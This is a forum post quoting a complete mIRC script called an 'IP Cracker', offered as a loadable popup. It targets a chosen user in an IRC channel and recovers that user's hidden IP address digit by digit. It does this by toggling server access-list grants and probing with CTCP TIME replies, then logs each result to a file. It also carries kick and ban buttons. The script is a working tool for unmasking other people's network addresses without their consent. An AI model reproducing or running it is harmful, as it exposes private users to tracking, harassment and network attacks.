Quote:
menu menubar,nicklist,channel {
-
~|Name Hidden for privacy reasons ;) |~:dialog -md ip_crack ip_crack
-
}
dialog ip_crack {
title "Hidden"
size -1 -1 223 172
option dbu
list 1, 4 8 72 101, size
list 2, 4 8 72 99, hide size
button "Start", 3, 128 66 37 12, flat
button "Stop", 4, 128 81 37 12, flat
button "Clear", 5, 182 60 37 12, flat
edit "", 6, 82 8 137 52, read multi autovs
button "IP List", 8, 128 96 37 12, flat
button "Done", 9, 170 96 37 12, flat ok
edit "", 11, 4 114 215 10, read autohs center
button "Clear", 12, 76 97 37 12, flat
button "Refresh List", 13, 76 85 37 12, flat
icon 15,0 0 223 172, $mircdirpics\IPcracker.bmp,index,top
button "IP Ban", 16, 71 124 25 10, flat
edit "-------Enter IP Here-------", 17, 4 124 67 10, autohs
box "", 19, 167 89 43 22
box "", 7, 125 59 43 52
link " hidden" 18, 110 1 83 11,
box "", 20, 109 -3 85 11
button "Kick User", 21, 76 73 37 12, flat
button "Help", 22, 170 78 37 12, flat
}
on *:dialog:ip_crack:*:*: {
if ($devent == init) { var %x = 1 | while ($nick($active,%x)) { did -a ip_crack 1 $ifmatch | did -a ip_crack 2 $ifmatch | inc %x } | did -r ip_crack 6,11 }
if ($devent == sclick) {
if ($did == 1) { .did -c ip_crack 2 $did(1).sel }
if ($did == 3) && ($did(1).seltext) { getip $did(2).seltext }
if ($did == 4) { .timeripcheck off | .access $me clear | did -ra ip_crack 11 Halted }
if ($did == 5) { did -r ip_crack 6 }
if ($did == 8) { .run notepad logs\ip.log }
if ($did == 9) { .timeripcheck off | .access $me clear }
if ($did == 12) { did -r ip_crack 1,2 }
if ($did == 13) { did -r ip_crack 1,2 | var %x = 1 | while ($nick($active,%x)) { did -a ip_crack 1 $ifmatch | did -a ip_crack 2 $ifmatch | inc %x } }
if ($did == 16) { .access $chan add deny *!*@ $+ $did($dname,17 ).text : 4»15¤4« 11[124The 9Riddlebox 8Script's 0IP 12Cracker 4AutoBan11] 4»15¤4« }
if ($did == 22) { run $mircdirtxt\ipcraxhelp.txt }
if ($did == 21) { .kick # $nick : 4»15¤4« 11[124The 9Riddlebox 8Script's 0IP 12Cracker 4Kick11] 4»15¤4«
}
}
if ($devent $did == dclick 1) { getip $did(2).seltext }
}
raw 801:*: { if ($1-2 == $me $me) && ($dialog(ip_crack)) did -a ip_crack 6 $4- $crlf | halt } | else { halt }
raw 802:*: { if ($1-2 == $me $me) && ($dialog(ip_crack)) did -a ip_crack 6 $4- $crlf | halt } | else { halt }
raw 820:*: { if ($1-2 == $me $me) && ($dialog(ip_crack)) did -a ip_crack 6 $4- $crlf | halt } | else { halt }
on *:ctcpreply:*:{
if ($1 == time) && ($nick == %ipuser) {
inc %echotime
if (%echotime >= 5) { did -ra ip_crack 11 [Cracked: $+ %lastgrant : still cracking....] | unset %echotime }
.timeripcheck off
.set %userip %userip $+ %ipnum
.timeripcheck 1 1 nextip %ipnum
did -a ip_crack 6 [Reply] $crlf
halt
}
}
alias getip {
did -ra ip_crack 11 [Cracking $1 $+ 's ip]
set %cticks $ticks
unset %ipuser
unset %iuchan
unset %lastgrant
unset %echotime
unset %ipnum
unset %userip
unset %crackmode
.set %ipuser $1
.set %iuchan $active
.access $me clear
.access $me add deny $1
.nextip
}
alias nextip {
if ($1 == $chr(46)) {
var %addr %userip $+ $1
if ($numtok(%addr,46) > 3) && ($len($gettok(%addr,4,46)) == 3) {
did -ra ip_crack 11 [Crack halted:Time: $+ $remove($duration($round($calc(($ticks - %cticks) / 1000),2)),ins,in,ecs,ec,$chr(32)) $+ :Logged ip: $+ %userip $+ ]
.write logs\ip.log $time(h:nnt) $chr(9) %ipuser $chr(9) %userip
unset %cticks
.access $me clear
halt
}
}
if ($1 == $null) {
.access $me add grant %ipuser $+ !*@1*
.set %lastgrant 1
.set %ipnum 1
.timeripcheck 1 2 crackip
.ctcp %ipuser TIME
}
elseif ($1 != $null) && ($right($1,1) != $chr(46)) {
.access $me delete grant %ipuser $+ !*@ $+ %lastgrant $+ *
.set %ipnum .
.set %lastgrant %userip $+ %ipnum
.access $me add grant %ipuser $+ !*@ $+ %lastgrant $+ *
.timeripcheck 1 2 crackip
.ctcp %ipuser TIME
}
else {
.access $me delete grant %ipuser $+ !*@ $+ %lastgrant $+ *
.set %ipnum 0
.set %lastgrant %userip $+ %ipnum
.access $me add grant %ipuser $+ !*@ $+ %lastgrant $+ *
.timeripcheck 1 2 crackip
.ctcp %ipuser TIME
}
}
alias crackip {
if (%ipuser !ison %iuchan) { did -ra ip_crack 11 [User not found:Halted!] | .timeripcheck off | .access $me clear | halt }
if (%ipnum == $chr(46)) {
nextip .
}
elseif (%ipnum == 9) {
did -ra ip_crack 11 [Crack halted:Time: $+ $remove($duration($round($calc(($ticks - %cticks) / 1000),2)),ins,in,ecs,ec,$chr(32)) $+ :Logged ip: $+ %userip $+ ]
.write logs\ip.log $time(h:nnt) $chr(9) %ipuser $chr(9) %userip
unset %cticks
.access $me clear
halt
}
else {
.access $me delete grant %ipuser $+ !*@ $+ %lastgrant $+ *
inc %ipnum
set %lastgrant %userip $+ %ipnum
.access $me add grant %ipuser $+ !*@ $+ %lastgrant $+ *
.timeripcheck 1 2 crackip
.ctcp %ipuser TIME
}
}
alias ip dialog -md ip_crack ip_crack
This is just an mIRC script that can be loaded into the popups section of mIRC.